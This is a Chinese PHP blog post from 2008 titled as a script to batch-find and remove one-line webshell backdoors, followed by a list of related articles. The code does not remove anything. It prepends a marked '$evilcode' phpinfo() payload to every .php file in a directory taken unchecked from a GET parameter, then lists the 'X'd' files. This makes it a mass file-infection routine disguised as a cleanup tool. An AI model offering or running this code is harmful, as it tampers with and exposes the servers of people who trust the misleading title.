用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
ionCube 一款类似zend的PHP加密/解密工具
Jul 25 PHP
基于PHP5魔术常量与魔术方法的详解
Jun 13 PHP
使用php 获取时间今天明天昨天时间戳的详解
Jun 20 PHP
解析在PHP中使用全局变量的几种方法
Jun 24 PHP
php简单实现快速排序的方法
Apr 04 PHP
PHP使用CURL实现多线程抓取网页
Apr 30 PHP
Zend Framework缓存Cache用法简单实例
Mar 19 PHP
thinkPHP+phpexcel实现excel报表输出功能示例
Jun 06 PHP
PHP-FPM 设置多pool及配置文件重写操作示例
Oct 02 PHP
laravel 框架实现无限级分类的方法示例
Oct 31 PHP
详解no input file specified 三种解决方法
Nov 29 PHP
Laravel框架自定义分页样式操作示例
Jan 26 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
短波收音机简介
2021/03/01 无线电
PHP数组实例总结与说明
2011/08/23 PHP
如何在HTML 中嵌入 PHP 代码
2015/05/13 PHP
thinkPHP框架动态配置用法实例分析
2018/06/14 PHP
jquery+json实现数据列表分页示例代码
2013/11/15 Javascript
jquery左边浮动到一定位置时显示返回顶部按钮
2014/06/05 Javascript
EasyUI中combobox默认值注意事项
2015/03/01 Javascript
JS实现简易图片轮播效果的方法
2015/03/25 Javascript
适用于javascript开发者的Processing.js入门教程
2016/02/24 Javascript
浅谈JavaScript对象的创建方式
2016/06/13 Javascript
详解利用Angular实现多团队模块化SPA开发框架
2017/11/27 Javascript
详解webpack4之splitchunksPlugin代码包分拆
2018/12/04 Javascript
通过JQuery,JQueryUI和Jsplumb实现拖拽模块
2019/06/18 jQuery
Smartour 让网页导览变得更简单(推荐)
2019/07/19 Javascript
微信小程序实现modal弹出框遮罩层组件(可带文本框)
2020/12/20 Javascript
[20:57]Ti4主赛事第三天开幕式
2014/07/21 DOTA
基于进程内通讯的python聊天室实现方法
2015/06/28 Python
Python sqlite3事务处理方法实例分析
2017/06/19 Python
Python爬虫文件下载图文教程
2018/12/23 Python
python os模块简单应用示例
2019/05/23 Python
Python中那些 Pythonic的写法详解
2019/07/02 Python
python的命名规则知识点总结
2019/10/04 Python
Django用数据库表反向生成models类知识点详解
2020/03/25 Python
html5使用canvas实现跟随光标跳动的火焰效果
2014/01/07 HTML / CSS
html5定位并在百度地图上显示的示例
2014/04/27 HTML / CSS
浅析HTML5中的download属性使用
2019/03/13 HTML / CSS
美国厨房和园艺工具网上商店:Nestneed
2019/08/24 全球购物
Lookfantastic澳大利亚官网:英国知名美妆购物网站
2021/01/07 全球购物
数据库方面面试题
2012/04/22 面试题
中学生在校期间的自我评价分享
2013/11/13 职场文书
给孩子的新年寄语
2014/04/08 职场文书
2014年教学工作总结
2014/11/13 职场文书
个人先进材料范文
2014/12/30 职场文书
分位数回归模型quantile regeression应用详解及示例教程
2021/11/02 Python
科学家测试在太空中培育人造肉,用于未来太空旅行
2022/04/29 数码科技
Mysql如何查看是否使用到索引
2022/12/24 MySQL